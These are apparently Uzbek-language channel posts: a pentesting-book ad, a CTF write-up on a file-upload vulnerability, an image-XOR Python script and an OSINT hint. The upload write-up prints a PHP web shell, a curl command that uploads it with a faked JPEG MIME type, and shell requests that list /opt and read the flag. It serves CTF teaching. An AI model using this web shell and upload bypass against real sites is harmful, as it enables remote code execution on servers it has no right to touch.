🚀 Web Pentesting Guide kitobi tayyor!
Ushbu qo‘llanma orqali:

🔎 Web pentesting nima va nima uchun muhimligini o‘rganasiz
🛠 Asboblar: Nmap, Nikto, Dirsearch, Burp Suite ishlatishni bilib olasiz
⚡️ OWASP Top 10 zaifliklari haqida batafsil tushunchaga ega bo‘lasiz
💻 Har bir bosqich uchun amaliy laboratoriya mashqlarini bajarasiz
🧩 Kodlar, parametrlarga izoh va xavf darajalari sodda tilda tushuntirilgan
📖 Izohli lug‘at yordamida texnik atamalarni oson o‘zlashtirasiz
🏆 Boshlovchidan professionalgacha yo‘l xaritasi berilgan

👉 Endi bu kitobni bepul yuklab oling va o‘z bilimlaringizni keyingi bosqichga olib chiqing!

CTF write-up 😎

CTF Write‑Up: File Upload Vulnerability — /opt Flag Extraction

Bugungi challange’da bizga quyidagi topshiriq berilgan edi:

“Identify the file upload vulnerability and read the flag from /opt/ directory.”
Target: http://web.mahadsec.net:45717/

Sayt oddiy profil sahifasi bo‘lib, foydalanuvchidan rasm yuklashni so‘raydi. Front-endda .jpg/.png/.gif filerlarga ruxsat berilgandek tuyuladi, ammo haqiqiy himoya upload.php ichida bo‘ladi.

🟩 1. Front-end Validation – Zaif joy

HTML kodini tahlil qilsak, unda faqat JavaScript orqali extension check ishlatilgan:

var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;


Bu faqat brauzerga ta’sir qiladi.
Biz esa curl yoki burpsuite orqali backendga to‘g‘ridan-to‘g‘ri fayl yuborsak, bu himoyani chetlab o‘ta olamiz.

🟩 2. Exploit strategiyasi – Fake MIME bilan WebShell yuklash

Ko‘p CTF’dagi kabi upload.php odatda:

faqat fayl nomi extensionini tekshiradi

MIME-type tekshirmaydi

ichidagi kodni filtrlamaydi

Shuning uchun biz PHP WebShellni JPEG sifatida ko‘rsatib, yuklab qo‘yamiz.

📌 WebShell (shell.php)
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

📌 Yuklash (Fake MIME)
curl -X POST http://web.mahadsec.net:45717/upload.php \
-F "profile=@shell.php;type=image/jpeg"


Front-end tekshiruvi ishlamaydi → fayl muvaffaqiyatli yuklanadi.

🟩 3. Yuklangan fayl joylashuvini topish

Ko‘plab PHP upload serverlar faylni quyidagi joyga saqlaydi:

/uploads/


Shu sababli sinov:

http://web.mahadsec.net:45717/uploads/shell.php


Agar sahifa ochilsa → RCE qo‘limizda.

🟩 4. Remote Command Execution orqali Flag o‘qish

Endi tizimda buyruq bajara olamiz.

/opt katalogini ko‘ramiz:

/uploads/shell.php?cmd=ls%20/opt


Flagni o‘qish:

/uploads/shell.php?cmd=cat%20/opt/flag.txt


Va flag: MS{cl13nt_s1d3_v4l1d4t10n_l34d_t0_rc3}

CTF WriteUp

Biz Ikki rasmni XOR orqali solishtiramiz bir xil piksellar qora rangda bo'lib qoladi:

buning uchun python script👇

from PIL import Image

# Rasmlarni ochish
img1 = Image.open("1.png")
img2 = Image.open("2.png")

# XOR natijasini saqlash uchun yangi rasm yaratish
result = Image.new("1", img1.size)

for y in range(img1.height):
for x in range(img1.width):
pixel1 = img1.getpixel((x, y))
pixel2 = img2.getpixel((x, y))
# XOR operatsiyasi
result.putpixel((x, y), pixel1 ^ pixel2)

# Natijani saqlash
result.save("xor_result.png")
print("XOR rasm saqlandi: xor_result.png")

Happy New year 🥳

MahadSec OSINT Task WriteUp

https://ctf.mahadsec.com/challenges#Wings-13

Hint: new zealand queenstown airport phone number

Buni decode qilish❌
Tomdan sakrash✅